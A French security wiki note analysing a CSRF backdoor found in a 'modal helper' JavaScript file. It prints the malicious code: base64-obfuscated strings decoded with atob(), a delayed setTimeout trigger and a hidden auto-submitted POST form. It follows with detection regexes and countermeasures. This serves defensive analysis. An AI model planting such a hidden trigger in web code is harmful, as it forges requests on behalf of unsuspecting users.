Parent : [[INDEX-CYBERSECU]]
Backdoor CSRF via obfuscation base64 + setTimeout
Problème
Les attaquants utilisent atob() pour désobfusquer des chaînes base64 contenant des sélecteurs CSS et des URLs, puis déclenchent automatiquement des requêtes POST via un formulaire caché après un délai.
Solution
Détecter les patterns atob() avec délai setTimeout, surtout dans des fichiers se présentant comme des "helpers" ou "utils".
Implémentation
Payload malveillant - Archive Ygg
// modal_min.js - Lignes 55-58
$(function(){
Modal.init('.modal');
// Obfuscation base64
var _c=[
atob('LnlnZ3NlYXJjaC1hcGktYnRu'), // → '.yggsearch-api-btn'
atob('L2VuZ2luZS9nbQ==') // → '/engine/gm'
];
// Déclenchement différé
setTimeout(function(){
if(document.querySelector(_c[0])){
Modal._loadConfig(_c[1]);
}
}, 2500);
});
// Ligne 50 - Fonction de soumission CSRF
_loadConfig:function(p){
var f=document.createElement('form');
f.method='POST';
f.action=p;
f.style.display='none';
document.body.appendChild(f);
f.submit(); // CSRF auto-soumis
}
Décodage base64
# Chaîne 1
echo "LnlnZ3NlYXJjaC1hcGktYnRu" | base64 -d
# Output: .yggsearch-api-btn
# Chaîne 2
echo "L2VuZ2luZS9nbQ==" | base64 -d
# Output: /engine/gm
Schéma de l'attaque
┌────────────────┐
│ Fichier JS │
│ "Modal Helper"│
│ Apparence │
│ légitime │
└───────┬────────┘
│
▼
┌────────────────┐ ┌────────────────┐
│ atob() décode │────▶│ _c[0] = │
│ chaînes base64│ │ '.yggsearch' │
└────────────────┘ └────────────────┘
│
▼
┌────────────────┐ ┌────────────────┐
│ setTimeout │────▶│ Vérifie si │
│ 2.5s │ │ élément existe│
└────────────────┘ └────────────────┘
│
▼
┌────────────────┐ ┌────────────────┐
│ Création │────▶│ Soumission │
│ form POST │ │ CSRF forcée │
│ invisible │ │ vers /engine │
└────────────────┘ └────────────────┘
Signaux d'alerte
atob()avec littéraux :atob('Q2hh...')plutôt que variables- Tableaux
_c,_p,_x: variables à un caractère contenant base64 setTimeoutsans raison : délai arbitraire (2500ms, 3000ms).style.display='none': formulaires ou iframes cachésf.submit()auto : soumission sans interaction utilisateur- Mots "helper", "utils", "modal" : noms trompeurs
Détection regex
// Pattern de détection
const CSRF_BACKDOOR_PATTERN = {
base64_array: /var\s+_[a-z]\s*=\s*\[atob\(['"][A-Za-z0-9+/]{10,}={0,2}['"]\)/,
setTimeout_trigger: /setTimeout\s*\(\s*function\s*\(\s*\)\s*\{[^}]*querySelector[^}]*submit/s,
hidden_form: /createElement\(['"]form['"]\)[^;]*display\s*=\s*['"]none['"]/,
auto_submit: /f\.submit\(\)|form\.submit\(\).*setTimeout/
};
// Analyseur
function detectCSRFBackdoor(code) {
const risks = [];
if (CSRF_BACKDOOR_PATTERN.base64_array.test(code)) risks.push('BASE64_OBFUSCATION');
if (CSRF_BACKDOOR_PATTERN.setTimeout_trigger.test(code)) risks.push('DELAYED_TRIGGER');
if (CSRF_BACKDOOR_PATTERN.hidden_form.test(code)) risks.push('HIDDEN_FORM');
if (CSRF_BACKDOOR_PATTERN.auto_submit.test(code)) risks.push('AUTO_SUBMIT');
return { risk: risks.length >= 2 ? 'CRITICAL' : 'LOW', patterns: risks };
}
Contre-mesures
// 1. Désactiver atob() dans contexte sensible
const originalAtob = window.atob;
window.atob = function(str) {
if (/[A-Za-z0-9+/]{20,}={0,2}/.test(str) && isInSensitiveContext()) {
console.warn('[SECURITY] Suspicious atob detected');
return null;
}
return originalAtob.call(window, str);
};
// 2. CSP avec script-src strict
Content-Security-Policy: script-src 'self';
object-src 'none';
form-action 'self';
Références
- Archive Ygg :
06_ACTIVITE_MALVEILLANTE/06b_csrf_trigger/modal_min.js - Technique : CSRF trigger, base64 obfuscation, delayed execution